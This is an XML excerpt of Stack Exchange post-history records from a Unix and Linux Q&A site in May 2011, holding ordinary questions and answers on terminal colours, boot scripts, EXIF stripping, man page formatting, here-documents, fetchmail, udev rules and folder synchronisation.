  <row Id="32793" PostHistoryTypeId="2" PostId="13261" RevisionGUID="49b30f95-b68d-4354-bec9-b2a1d20f10f7" CreationDate="2011-05-16T11:43:42.723" UserId="1339" Text="You can modify the color theme of vim with the `background` option. Use &#xD;&#xA;&#xD;&#xA;    set background=dark&#xD;&#xA;&#xD;&#xA;in your current session or set it permanent in your vimrc.&#xD;&#xA;&#xD;&#xA;The output of `ls` is configured with `/etc/DIR_COLORS`. See the [manpage][1] for more information.&#xD;&#xA;The settings can be overwritten with a `~/.dir_colors` file in your home directory.&#xD;&#xA;&#xD;&#xA;An entry like&#xD;&#xA;    &#xD;&#xA;     DIR 01;36 &#xD;&#xA;&#xD;&#xA;will produce a more readable background with cyan.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/dir_colors" />
  <row Id="32794" PostHistoryTypeId="6" PostId="13258" RevisionGUID="4bea3bec-2983-4150-b205-c04930d93fc7" CreationDate="2011-05-16T11:47:02.340" UserId="885" Comment="edited tags" Text="éterminalàécolorsà" />
  <row Id="32795" PostHistoryTypeId="6" PostId="7793" RevisionGUID="7e368f51-50cd-4a95-ba4d-a74183678871" CreationDate="2011-05-16T11:47:22.730" UserId="885" Comment="edited tags" Text="élinuxàébootàécronàéschedulingà" />
  <row Id="32796" PostHistoryTypeId="6" PostId="1924" RevisionGUID="28299175-e3ae-4923-b73d-6dec3502b328" CreationDate="2011-05-16T11:47:32.123" UserId="885" Comment="edited tags" Text="éubuntuàéfedoraàébootàéserveràéinitöscriptà" />
  <row Id="32797" PostHistoryTypeId="6" PostId="13260" RevisionGUID="f03d7389-f9ee-4721-9285-41a785b97a63" CreationDate="2011-05-16T11:47:39.737" UserId="885" Comment="edited tags" Text="élinuxàébootà" />
  <row Id="32798" PostHistoryTypeId="25" PostId="13258" RevisionGUID="5f8a6f01-4665-46ac-b6a4-d1e29da1cd6a" CreationDate="2011-05-16T12:12:14.363" Comment="http://twitter.com/#!/StackUnix/status/70099232677306368" />
  <row Id="32799" PostHistoryTypeId="5" PostId="13254" RevisionGUID="e4950936-182b-4370-9f9b-dad06242f27e" CreationDate="2011-05-16T12:23:34.573" UserId="688" Comment="edited body; edited title" Text="What could DUP mean when using ping?" />
  <row Id="32800" PostHistoryTypeId="4" PostId="13254" RevisionGUID="e4950936-182b-4370-9f9b-dad06242f27e" CreationDate="2011-05-16T12:23:34.573" UserId="688" Comment="edited body; edited title" Text="What could DUP mean when using ping?" />
  <row Id="32801" PostHistoryTypeId="5" PostId="13260" RevisionGUID="7575b131-1254-4b56-bf04-a02b919af977" CreationDate="2011-05-16T12:24:52.027" UserId="688" Comment="deleted 101 characters in body; edited title" Text="I want to run some commands at boot time." />
  <row Id="32802" PostHistoryTypeId="4" PostId="13260" RevisionGUID="7575b131-1254-4b56-bf04-a02b919af977" CreationDate="2011-05-16T12:24:52.027" UserId="688" Comment="deleted 101 characters in body; edited title" Text="How to run command at startup in linux?" />
  <row Id="32803" PostHistoryTypeId="5" PostId="13218" RevisionGUID="41ec5bbf-f039-43c5-860c-aca3162eb9d4" CreationDate="2011-05-16T12:26:32.293" UserId="688" Comment="deleted 19 characters in body" Text="I'm currently running a VPS on CentOS. I have an application running in the background and it will run a script under `sudo` to either disable or enable any account.&#xD;&#xA;&#xD;&#xA;So what I'm trying to create is a script that creates an account, adds a password and adds the users under &quot;etc/sudoers&quot;.&#xD;&#xA;&#xD;&#xA;The script is being run as root so there shouldn't be any permission errors. How would I come to create this script?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32804" PostHistoryTypeId="5" PostId="13229" RevisionGUID="f61307bb-61b6-4c4d-a7a8-ff03e0dd5ef2" CreationDate="2011-05-16T12:27:31.060" UserId="688" Comment="deleted 3 characters in body" Text="You can use the [useradd][1] command to create a user but you shouldn't really automate adding the user to the sudoers file. This file is normally edited via the [visudo][2] command. Editing it directly, especially in an automated fashion may results in errors rendering the file corrupt. Certainly not a situation you will wish to deal with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediacollege.com/cgi-bin/man/page.cgi?topic=useradd&#xD;&#xA;  [2]: http://www.gratisoft.us/sudo/man/1.7.5/visudo.man.html" />
  <row Id="32805" PostHistoryTypeId="2" PostId="13262" RevisionGUID="422fb607-5b79-4002-89c0-34d9bfdcb15a" CreationDate="2011-05-16T13:09:02.210" UserId="3447" Text="Use `/etc/rc.local`&#xD;&#xA;&#xD;&#xA;On my system, the comment header says this:&#xD;&#xA;&#xD;&#xA;    # This script will be executed *after* all the other init scripts.&#xD;&#xA;    # You can put your own initialization stuff in here if you don't&#xD;&#xA;    # want to do the full Sys V style init stuff.&#xD;&#xA;" />
  <row Id="32806" PostHistoryTypeId="5" PostId="13255" RevisionGUID="e960a523-4fa5-43e2-a885-142a2c2f89ae" CreationDate="2011-05-16T13:11:06.770" UserId="1925" Comment="added 99 characters in body" Text="Vincent's [suggestion of using exiftool][1] is good. I suggest you write a script that accepts a single argument of a filename, and runs your desired strip functions on that. Then use `find` to execute this script on your file set. The script would look something like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    exiftool -overwrite_original -ExifFieldName=^ [-MoreExifFieldNames=^] $1&#xD;&#xA;&#xD;&#xA;Say you save this as `/usr/local/bin/strip_exif.sh`, you could then call it by going to the folder that has your jpeg files like this:&#xD;&#xA;&#xD;&#xA;    find -type f -iname '*.jpg' -exec strip_exif.sh {} \;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13251/batch-delete-exif-info/13252#13252" />
  <row Id="32808" PostHistoryTypeId="2" PostId="13263" RevisionGUID="68a7c470-6b98-41b9-8b56-56fa13629a16" CreationDate="2011-05-16T13:47:39.647" UserId="7525" Text="As Gilles says, use gai.conf&#xD;&#xA;Please see &#xD;&#xA;&#xD;&#xA;http://docs.funtoo.org/wiki/IPv6_Networking#Prefer_IPv4_over_IPv6&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;http://www.getipv6.info/index.php/Customer_problems_that_could_occur#GNU.2FLinux&#xD;&#xA;&#xD;&#xA;*Don't have enough points to make this a comment :(*" />
  <row Id="32809" PostHistoryTypeId="2" PostId="13264" RevisionGUID="7ed572fb-06e0-440e-9abe-c3e6f4173cb9" CreationDate="2011-05-16T13:49:07.480" UserId="2511" Text="The other ExifTool suggestions are great if you want to remove or change specific sections. But if you want to just remove all of the metadata completely, use this (from the man page):&#xD;&#xA;&#xD;&#xA;       exiftool -all= dst.jpg&#xD;&#xA;            Delete all meta information from an image.&#xD;&#xA;&#xD;&#xA;You could also use [jhead][1], with the -de flag:&#xD;&#xA;&#xD;&#xA;       -de    Delete the Exif header entirely.  Leaves  other  metadata&#xD;&#xA;              sections intact.&#xD;&#xA;&#xD;&#xA;Note that in both cases, EXIF is only one type of metadata. Other metadata sections may be present, and depending on what you want to do, both of these programs have different options for preserving some or removing it all.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sentex.net/~mwandel/jhead/" />
  <row Id="32810" PostHistoryTypeId="2" PostId="13265" RevisionGUID="5e0e5202-b19f-4203-a191-cddd3915cfa7" CreationDate="2011-05-16T13:54:00.680" UserId="3309" Text="`diff -y`?&#xD;&#xA;&#xD;&#xA;Or if what you're really after is **color** output try [colordiff](http://colordiff.sourceforge.net/)." />
  <row Id="32811" PostHistoryTypeId="5" PostId="13260" RevisionGUID="6a93650f-e336-4a3d-a3e8-ebdedff74f68" CreationDate="2011-05-16T14:00:37.353" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Bash Script on Startup? (Linux)](http://unix.stackexchange.com/questions/7793/bash-script-on-startup-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to run some commands at boot time." />
  <row Id="32812" PostHistoryTypeId="10" PostId="13260" RevisionGUID="da2cd443-9720-472a-8b1b-3ccfa9a790b2" CreationDate="2011-05-16T14:00:36.650" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:1925,&quot;DisplayName&quot;:&quot;Caleb&quot;},{&quot;Id&quot;:1339,&quot;DisplayName&quot;:&quot;echox&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32813" PostHistoryTypeId="25" PostId="13254" RevisionGUID="bf245ea9-b28f-44a5-857b-8bb2fd2a02f8" CreationDate="2011-05-16T15:12:14.573" Comment="http://twitter.com/#!/StackUnix/status/70144532666265600" />
  <row Id="32814" PostHistoryTypeId="2" PostId="13266" RevisionGUID="5fe42602-53f3-45a0-8046-dcb0b4d53c4b" CreationDate="2011-05-16T15:12:51.953" UserId="3309" Text="This question appears to be answered already, but I think there's a better solution.&#xD;&#xA;&#xD;&#xA;Rather than `tail | whatever`, I think what you really want is `swatch`. Swatch is a program designed explicitly for doing what you're asking, watching a log file and executing actions based on log lines. Using `tail|foo` will require that you've got a terminal actively running to do this. Swatch on the other hand runs as a daemon and will always be watching your logs. Swatch is available in all Linux distros, &#xD;&#xA;&#xD;&#xA;I encourage you to try it out. While you can pound a nail in with the back side of a screwdriver does not mean you should.&#xD;&#xA;&#xD;&#xA;The best 30-second tutorial on swatch I could find is here: http://www.campin.net/newlogcheck.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32815" PostHistoryTypeId="2" PostId="13267" RevisionGUID="fbec6922-bbdf-4580-afc8-6e30ec3b9a40" CreationDate="2011-05-16T15:17:53.837" UserId="250" Text="Is there an easy way to turn off all styling on man pages? Colors, bold, italics, everything... If not, what is an uneasy way?" />
  <row Id="32816" PostHistoryTypeId="1" PostId="13267" RevisionGUID="fbec6922-bbdf-4580-afc8-6e30ec3b9a40" CreationDate="2011-05-16T15:17:53.837" UserId="250" Text="How to disable styling on man pages?" />
  <row Id="32817" PostHistoryTypeId="3" PostId="13267" RevisionGUID="fbec6922-bbdf-4580-afc8-6e30ec3b9a40" CreationDate="2011-05-16T15:17:53.837" UserId="250" Text="éterminalàécolorsàémanà" />
  <row Id="32818" PostHistoryTypeId="2" PostId="13268" RevisionGUID="9a277c33-09be-43c4-b6d8-baacb0b2a922" CreationDate="2011-05-16T15:38:01.540" UserId="3309" Text="Granted, I didn't spend long trying this, but the only way I found works, but also disables any type of pagination*.&#xD;&#xA;&#xD;&#xA;    export PAGER=cat&#xD;&#xA;    man man&#xD;&#xA;&#xD;&#xA;Or,&#xD;&#xA;&#xD;&#xA;    PAGER=cat man man&#xD;&#xA;&#xD;&#xA;Or create a bash function in your `.bash_profile`,&#xD;&#xA;&#xD;&#xA;    function boringman()&#xD;&#xA;    {&#xD;&#xA;        PAGER=cat man $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, depending on your terminal settings this might not work for you.&#xD;&#xA;&#xD;&#xA;If you wanted to get *really* fancy, you can combine `man2html`, `lynx` and `more` or `less`. Set `PAGER` to something like `man2html --some --options | lynx -stdin -dump | less --some --options`. I don't know enough about man2thml to describe correctly how to do it, so I'll leave that as an exercise for you. It's a little overkill, but you get pagination.&#xD;&#xA;&#xD;&#xA;*The control characters are actually preserved, just not displayed. Piping this output through `more` or `less` proves the point." />
  <row Id="32819" PostHistoryTypeId="2" PostId="13269" RevisionGUID="b8c8332b-12da-4028-bdfa-ac9a4fe1edac" CreationDate="2011-05-16T15:42:13.157" UserId="274" Text="`man`'s output is formatted by [groff](http://manpages.ubuntu.com/1/groff), and more specifically the last step is post-processing by [grotty](http://manpages.ubuntu.com/1/grotty), which is responsible for turning the device-independent output of `groff` into something that can be displayed on a terminal.&#xD;&#xA;&#xD;&#xA;So, the easiest option is to force `grotty` to use the simplest tty available, with no fancy formatting capabilities, that is the &quot;dumb&quot; terminal:&#xD;&#xA;&#xD;&#xA;    env TERM=dumb man ping&#xD;&#xA;" />
  <row Id="32820" PostHistoryTypeId="5" PostId="13203" RevisionGUID="9a5f7100-a0ac-4600-a775-264e9f7cc6e3" CreationDate="2011-05-16T16:03:37.430" UserId="7503" Comment="Corrected a typo" Text="As a follow on, a .a file is an &quot;ar&quot; archive. Not unlike a tar archive, it stores .o or object files, allowing them to be pulled out of the archive, and linked into a program, among other things. You could use ar to store other files if you wanted.&#xD;&#xA;&#xD;&#xA;You can get a listing of the members of an ar file with the -t parameter, for instance:&#xD;&#xA;&#xD;&#xA;    ar -t /usr/lib/libc.a&#xD;&#xA;&#xD;&#xA;A .so file is a &quot;shared object&quot; file, and has a lot more information available to the linker so that members can be linked in to a loading program as rapidly as possible.&#xD;&#xA;&#xD;&#xA;For instance, try:&#xD;&#xA;&#xD;&#xA;    objdump -T /lib/libc-2.11.1.so&#xD;&#xA;&#xD;&#xA;(or whatever version of libc.so you have in your /lib directory.) Note that a .so file could also just contain a linker script directing it to find the file elsewhere, or use something else.&#xD;&#xA;&#xD;&#xA;Interestingly, a .so file can also be a full fledged program. For instance, trying running */lib/libc.so.6*." />
  <row Id="32821" PostHistoryTypeId="2" PostId="13270" RevisionGUID="1ae26293-ef6c-484d-9016-315a9ed587e8" CreationDate="2011-05-16T16:22:38.893" UserId="885" Text="At least with the default Ubuntu setup (this may vary between `man` implementations), `man` generates control characters only if its standard output is connected to a terminal (even with `TERM=dumb`). So pipe its output manually into your pager (or into a file).&#xD;&#xA;&#xD;&#xA;    man man | less&#xD;&#xA;" />
  <row Id="32822" PostHistoryTypeId="2" PostId="13271" RevisionGUID="6ab98e81-b9b1-4d2d-91c9-de63b57cde08" CreationDate="2011-05-16T16:29:48.000" UserId="7527" Text="Can anyone suggest a simple GUI that works with a remote control from which I can play video files and DVDs, and mount removable media? Preferably not MythTV, because I already spent two weeks trying to set that up, and it's still not working. Something that I can put in my `~/.xsessionrc` that just works, or works after editing a simple configuration file and the like." />
  <row Id="32823" PostHistoryTypeId="1" PostId="13271" RevisionGUID="6ab98e81-b9b1-4d2d-91c9-de63b57cde08" CreationDate="2011-05-16T16:29:48.000" UserId="7527" Text="Simple keyboard-less interface for playing video?" />
  <row Id="32824" PostHistoryTypeId="3" PostId="13271" RevisionGUID="6ab98e81-b9b1-4d2d-91c9-de63b57cde08" CreationDate="2011-05-16T16:29:48.000" UserId="7527" Text="évideoàémediaà" />
  <row Id="32825" PostHistoryTypeId="2" PostId="13272" RevisionGUID="16de9b25-5e5c-448d-a998-624c477fc1bf" CreationDate="2011-05-16T16:33:39.713" UserId="7327" Text="I have the following code in a batch script:&#xD;&#xA;&#xD;&#xA;    mpirun -np 6 ./laplace &lt;&lt;END&#xD;&#xA;    100&#xD;&#xA;    100&#xD;&#xA;    100&#xD;&#xA;    0.01&#xD;&#xA;    100&#xD;&#xA;    3&#xD;&#xA;    2&#xD;&#xA;    1&#xD;&#xA;    END&#xD;&#xA;    | tail -n 1 &gt; output&#xD;&#xA;&#xD;&#xA;But it isn't working. What I want it to do is to use the HERE file as input to the mpirun command, and then pipe the output to the tail command. However, I think the HERE file and tail output things are getting confused.&#xD;&#xA;&#xD;&#xA;How should I write this so that it does what I want?" />
  <row Id="32826" PostHistoryTypeId="1" PostId="13272" RevisionGUID="16de9b25-5e5c-448d-a998-624c477fc1bf" CreationDate="2011-05-16T16:33:39.713" UserId="7327" Text="Use HERE file and redirect output of command" />
  <row Id="32827" PostHistoryTypeId="3" PostId="13272" RevisionGUID="16de9b25-5e5c-448d-a998-624c477fc1bf" CreationDate="2011-05-16T16:33:39.713" UserId="7327" Text="éshellàéioöredirectionà" />
  <row Id="32828" PostHistoryTypeId="2" PostId="13273" RevisionGUID="afc400a8-acdf-4684-8324-3691b0bab7cd" CreationDate="2011-05-16T16:36:58.210" UserId="6175" Text="&#xD;&#xA;    mpirun -np 6 ./laplace &lt;&lt;END | tail -n 1 &gt; output&#xD;&#xA;    100&#xD;&#xA;    100&#xD;&#xA;    100&#xD;&#xA;    0.01&#xD;&#xA;    100&#xD;&#xA;    3&#xD;&#xA;    2&#xD;&#xA;    1&#xD;&#xA;    END&#xD;&#xA;" />
  <row Id="32829" PostHistoryTypeId="2" PostId="13274" RevisionGUID="3152c6b2-6cb8-40c7-91a3-c947646fff10" CreationDate="2011-05-16T17:06:38.370" UserId="885" Text="What you've written in the first line looks like a complete command (a “(compound) list” in shell terminology), so the shell treats it as a complete command. Since there's a here-document start marker (`&lt;&lt;END`), the shell then reads the here-document contents, and then starts a new command. If you want to put the here-document in the middle of a list, you need to indicate to the shell that the list is not finished. Here are couple of ways.&#xD;&#xA;&#xD;&#xA;    mpirun -np 6 ./laplace &lt;&lt;END |&#xD;&#xA;    …&#xD;&#xA;    END&#xD;&#xA;    tail -n 1 &gt; output&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    { mpirun -np 6 ./laplace &lt;&lt;END&#xD;&#xA;    …&#xD;&#xA;    END&#xD;&#xA;    } tail -n 1 &gt; output&#xD;&#xA;&#xD;&#xA;Or, of course, you can make sure the command completely fits in the first line.&#xD;&#xA;&#xD;&#xA;    mpirun -np 6 ./laplace &lt;&lt;END | tail -n 1 &gt; output&#xD;&#xA;    …&#xD;&#xA;    END&#xD;&#xA;&#xD;&#xA;The rule to remember is that the here-document contents starts after the first unquoted newline after the `&lt;&lt;END` indicator. For example, here's another obfuscated way of writing this script:&#xD;&#xA;&#xD;&#xA;    mpirun -np 6 ./laplace &lt;&lt;END \&#xD;&#xA;    | tail -n $(&#xD;&#xA;    …&#xD;&#xA;    END&#xD;&#xA;                 echo 1) &gt; output&#xD;&#xA;" />
  <row Id="32830" PostHistoryTypeId="5" PostId="13245" RevisionGUID="b2503b4c-90ca-4515-b17a-1cae3802b02a" CreationDate="2011-05-16T17:13:08.197" UserId="73" Comment="added 8 characters in body" Text="I'm searching a GUI [or CLI] tool that can produce output like the Total Commander compare content function does! For example:&#xD;&#xA;&#xD;&#xA;![Screenshot of Total Commander][1]&#xD;&#xA;&#xD;&#xA;Are there any that do that? It's a very handy tool and I miss it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Lf3Xy.png" />
  <row Id="32831" PostHistoryTypeId="2" PostId="13275" RevisionGUID="0f4814ad-5148-4389-bf03-93f858896a91" CreationDate="2011-05-16T17:16:56.557" UserId="4143" Text="I'm studying and learning about how mail is handled in linux systems, and one thing has become a source of confusion for me.  On my iPhone, via IMAP, I can mark a message in my Gmail inbox as read, or I can move it to another folder (&quot;label&quot; in Gmail speak).  Then when I later view my Gmail account via web interface, these changes have percolated to the Gmail server.&#xD;&#xA;&#xD;&#xA;However, given my linux client, I have read that all fetchmail does is fetch mail (pun unintended), rather than deliver it.  The delivery part would be the responsibility of procmail or postfix.&#xD;&#xA;&#xD;&#xA;But if fetchmail just hands off the delivery part to procmail or postfix, it doesn't seem like it would have any way of knowing whether that email was later marked as read or saved to a specific IMAP folder.  In fact, it seems like the idea of an &quot;IMAP folder&quot; wouldn't even seem to exist any longer at that point!  Does fetchmail actually do some creation or marking of &quot;IMAP folders&quot;?&#xD;&#xA;&#xD;&#xA;So is it possible to use fetchmail to get local copies of mail from the server, yet still keep the IMAP features of marking messages as read and moving them to specific folders?  If so, how?" />
  <row Id="32832" PostHistoryTypeId="1" PostId="13275" RevisionGUID="0f4814ad-5148-4389-bf03-93f858896a91" CreationDate="2011-05-16T17:16:56.557" UserId="4143" Text="Does fetchmail support these IMAP features? If so, how?" />
  <row Id="32833" PostHistoryTypeId="3" PostId="13275" RevisionGUID="0f4814ad-5148-4389-bf03-93f858896a91" CreationDate="2011-05-16T17:16:56.557" UserId="4143" Text="émailàéfetchmailàéimapà" />
  <row Id="32834" PostHistoryTypeId="2" PostId="13276" RevisionGUID="1928ba9b-8801-4a83-b60d-4b2a957ea053" CreationDate="2011-05-16T17:30:15.170" UserId="2926" Text="Is there a commandline tool for GNU/Linux which will analyse download and upload speed, packet-loss, latency and other factors which will indicate the internet connectivity status?" />
  <row Id="32835" PostHistoryTypeId="1" PostId="13276" RevisionGUID="1928ba9b-8801-4a83-b60d-4b2a957ea053" CreationDate="2011-05-16T17:30:15.170" UserId="2926" Text="Commandline tool for comprehensive and integrted testing of internet connectivity" />
  <row Id="32836" PostHistoryTypeId="3" PostId="13276" RevisionGUID="1928ba9b-8801-4a83-b60d-4b2a957ea053" CreationDate="2011-05-16T17:30:15.170" UserId="2926" Text="écommandölineàéinternetà" />
  <row Id="32837" PostHistoryTypeId="2" PostId="13277" RevisionGUID="fe9d1c27-22c9-48f3-b0ab-f1ba58ff4ff9" CreationDate="2011-05-16T17:33:29.333" UserId="2421" Text="No.  When you read email via IMAP, the mail stays on the server.  The client just downloads individual messages as needed to display them.  When you mark it read or move it to a folder, the client just sends a message to the server asking it to do that.&#xD;&#xA;&#xD;&#xA;When fetchmail downloads a local copy, what happens to that copy is not reflected on the server side.&#xD;&#xA;&#xD;&#xA;If you want the things you do to your mail to be reflected on the server, then you don't want to use fetchmail.  You want an IMAP-enabled mail client, of which there are many for Linux." />
  <row Id="32838" PostHistoryTypeId="5" PostId="13277" RevisionGUID="4b301f9a-ae3f-431a-b264-e6e97233a2f2" CreationDate="2011-05-16T17:38:49.690" UserId="2421" Comment="added 264 characters in body" Text="No.  When you read email via IMAP, the mail stays on the server.  The client just downloads individual messages as needed to display them.  When you mark it read or move it to a folder, the client just sends a message to the server asking it to do that.&#xD;&#xA;&#xD;&#xA;When fetchmail downloads a local copy, what happens to that copy is not reflected on the server side.&#xD;&#xA;&#xD;&#xA;If you want the things you do to your mail to be reflected on the server, then you don't want to use fetchmail.  You want an IMAP-enabled mail client, of which there are many for Linux.  It looks like the only Linux client [officially supported by Google][1] is [Thunderbird][2], but other clients are likely to work also.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mail.google.com/support/bin/topic.py?hl=en&amp;topic=12806&#xD;&#xA;  [2]: http://www.mozillamessaging.com/thunderbird/" />
  <row Id="32839" PostHistoryTypeId="5" PostId="12366" RevisionGUID="5464b550-4ca5-46fc-a8c4-55ccd560f521" CreationDate="2011-05-16T17:53:15.807" UserId="4430" Comment="Added update 1." Text="**UPDATE 1:**&#xD;&#xA;&#xD;&#xA;I've looked at the documentation for usb_modeswitch, but find it to complex to understand.  Can someone please point me to a step by step guide on how to use it and setup my usb drive?&#xD;&#xA;&#xD;&#xA;**ORIGINAL QUESTION:**&#xD;&#xA;&#xD;&#xA;Is it possible to stop my usb mobile broadband stick from automatically mounting as a drive, yet continue to mount all other usb devices (camera, usb memory stick, usb camera etc) as normal, i.e. usb memory stick, usb harddrive stick should mount as normal usb drives as they currently do, web cam should mount as a cam as it does etc etc?&#xD;&#xA;&#xD;&#xA;Basically, when I plug in the mobile broadband usb stick, it automatically mounts as a usb drive, and I have to unmount it.  It then automatically gets detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;So if it is possible to stop just the mobile broadband usb stick from mounting as a drive, it should automatically get detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;Can this be done?  I am using Ubuntu 10.04." />
  <row Id="32840" PostHistoryTypeId="5" PostId="12366" RevisionGUID="5c10f0f7-2922-4713-8fc3-191f52e209db" CreationDate="2011-05-16T18:11:18.693" UserId="4430" Comment="Added update 2.; added 9 characters in body" Text="**UPDATE 2:**&#xD;&#xA;&#xD;&#xA;    OS = Ubuntu 10.04.2&#xD;&#xA;    USB Stick = ZTE MF112&#xD;&#xA;&#xD;&#xA;**UPDATE 1:**&#xD;&#xA;&#xD;&#xA;I've looked at the documentation for usb_modeswitch, but find it to complex to understand.  Can someone please point me to a step by step guide on how to use it and setup my usb drive?&#xD;&#xA;&#xD;&#xA;**ORIGINAL QUESTION:**&#xD;&#xA;&#xD;&#xA;Is it possible to stop my usb mobile broadband stick from automatically mounting as a drive, yet continue to mount all other usb devices (camera, usb memory stick, usb camera etc) as normal, i.e. usb memory stick, usb harddrive stick should mount as normal usb drives as they currently do, web cam should mount as a cam as it does etc etc?&#xD;&#xA;&#xD;&#xA;Basically, when I plug in the mobile broadband usb stick, it automatically mounts as a usb drive, and I have to unmount it.  It then automatically gets detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;So if it is possible to stop just the mobile broadband usb stick from mounting as a drive, it should automatically get detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;Can this be done?  I am using Ubuntu&#xD;&#xA;10.04." />
  <row Id="32841" PostHistoryTypeId="2" PostId="13278" RevisionGUID="2002aa24-243b-4d94-864b-a7929912ef58" CreationDate="2011-05-16T18:12:14.603" UserId="3082" Text="You can do it with udev rules. I don't have ubuntu, but you can try this. Create a file called `/etc/udev/rules.d/99-hide.rules` with the following in it:&#xD;&#xA;&#xD;&#xA;    SUBSYSTEM==&quot;usb_device&quot;, ATTR{idVentor}==&quot;&lt;VENDID&gt;&quot;, ATTR{idProduct}==&quot;&lt;DRIVECODE&gt;&quot;,ENV{UDISKS_PRESENTATION_HIDE}:=&quot;1&quot; &#xD;&#xA;&#xD;&#xA;Where you have to substitute your usb storage device's vendor and product ID for the &lt;VENDID&gt; and &lt;DRIVECODE&gt; fields. Find that out with the `lsusb` command.&#xD;&#xA;" />
  <row Id="32842" PostHistoryTypeId="25" PostId="13272" RevisionGUID="e5940dfb-4507-4efd-ab17-f28cea9d5e9f" CreationDate="2011-05-16T18:12:15.290" Comment="http://twitter.com/#!/StackUnix/status/70189834135801858" />
  <row Id="32843" PostHistoryTypeId="2" PostId="13279" RevisionGUID="06de815c-39e2-4649-a841-e7b096ec2984" CreationDate="2011-05-16T18:12:18.173" UserId="4485" Text="&#xD;&#xA; * xxdiff&#xD;&#xA; * gtkdiff&#xD;&#xA; * tkdiff &#xD;&#xA;&#xD;&#xA;come to my mind." />
  <row Id="32844" PostHistoryTypeId="2" PostId="13280" RevisionGUID="8024f745-b402-43a1-9551-8f1eee1065b1" CreationDate="2011-05-16T18:42:45.277" UserId="7499" Text="I want to keep my local folder synchronized with network folder.&#xD;&#xA;&#xD;&#xA;Is there any folder synchronization utility or feature in linux ? " />
  <row Id="32845" PostHistoryTypeId="1" PostId="13280" RevisionGUID="8024f745-b402-43a1-9551-8f1eee1065b1" CreationDate="2011-05-16T18:42:45.277" UserId="7499" Text="Does any flavour of linux has folder sync option ( like briefcase in windows ) ?" />
  <row Id="32846" PostHistoryTypeId="3" PostId="13280" RevisionGUID="8024f745-b402-43a1-9551-8f1eee1065b1" CreationDate="2011-05-16T18:42:45.277" UserId="7499" Text="ésyncà" />
  <row Id="32847" PostHistoryTypeId="2" PostId="13281" RevisionGUID="bfcd0db5-91fa-4707-af6c-94d1a9fa0034" CreationDate="2011-05-16T18:46:05.373" UserId="5683" Text="I have a USB controlled power strip that has a single usb port.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;If my computer is turned on and connected via usb to the power strip, the power strip will provide electricity to all the sockets. I want to programatically disable power to the usb port on the computer which is connected to the power strip.&#xD;&#xA;&#xD;&#xA;This does not work:&#xD;&#xA;&#xD;&#xA;    $ echo suspend &gt; /sys/bus/usb/devices/usb*/power/level&#xD;&#xA;    -bash: echo: write error: Invalid argument&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there some other way to do this?&#xD;&#xA;I would like to be able to connect to my server from somewhere else and turn off power to all the devices connected to the power sockets.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/yNZnG.jpg" />
  <row Id="32848" PostHistoryTypeId="1" PostId="13281" RevisionGUID="bfcd0db5-91fa-4707-af6c-94d1a9fa0034" CreationDate="2011-05-16T18:46:05.373" UserId="5683" Text="Disable USB power for USB controlled power strip" />
  <row Id="32849" PostHistoryTypeId="3" PostId="13281" RevisionGUID="bfcd0db5-91fa-4707-af6c-94d1a9fa0034" CreationDate="2011-05-16T18:46:05.373" UserId="5683" Text="éusbàépowerömanagementà" />
  <row Id="32850" PostHistoryTypeId="2" PostId="13282" RevisionGUID="05530209-7fd8-4b55-9164-594cdbc08ee8" CreationDate="2011-05-16T19:00:50.897" UserId="1925" Text="There are numerous options for programs or even file systems that handle synchronization. I still use the ridiculously old [unison][1] program to keep some of my home directories in sync. There are other programs similar to this as well. For easier situations that only require one way coping, `rsync` does the job nicely.&#xD;&#xA;&#xD;&#xA;For cross platform synchronization, the ever popular [dropbox][2] is always an options, although I would also look into more open alternatives such as [cloudfs][3].&#xD;&#xA;&#xD;&#xA;Another thing you really ought to consider is version control. At first it might not seem that it's suitable, but if you really analyze your synchronization problem, you might find that version control is just the ticket. This gives you far more freedom to change things in multiple places without breaking the synchronization (two way sync is always a challenge). The ability to track and merge different sets of changes can be invaluable. You might consider a distributed system like `git` or a central one like `subversion` depending on your application, although in all likelihood if you can get your head around the distributed model it will prove better in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cis.upenn.edu/~bcpierce/unison/index.html&#xD;&#xA;  [2]: https://www.dropbox.com/&#xD;&#xA;  [3]: http://cloudfs.org/" />
  <row Id="32851" PostHistoryTypeId="2" PostId="13283" RevisionGUID="b6cf9644-69c3-40df-a3da-dbc83e445f96" CreationDate="2011-05-16T19:01:42.583" UserId="6890" Text="You could use `ping`, `netstat` or `traceroute`. You'll find a small introduction [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/aix/library/au-networkperfanalysis/index.html" />
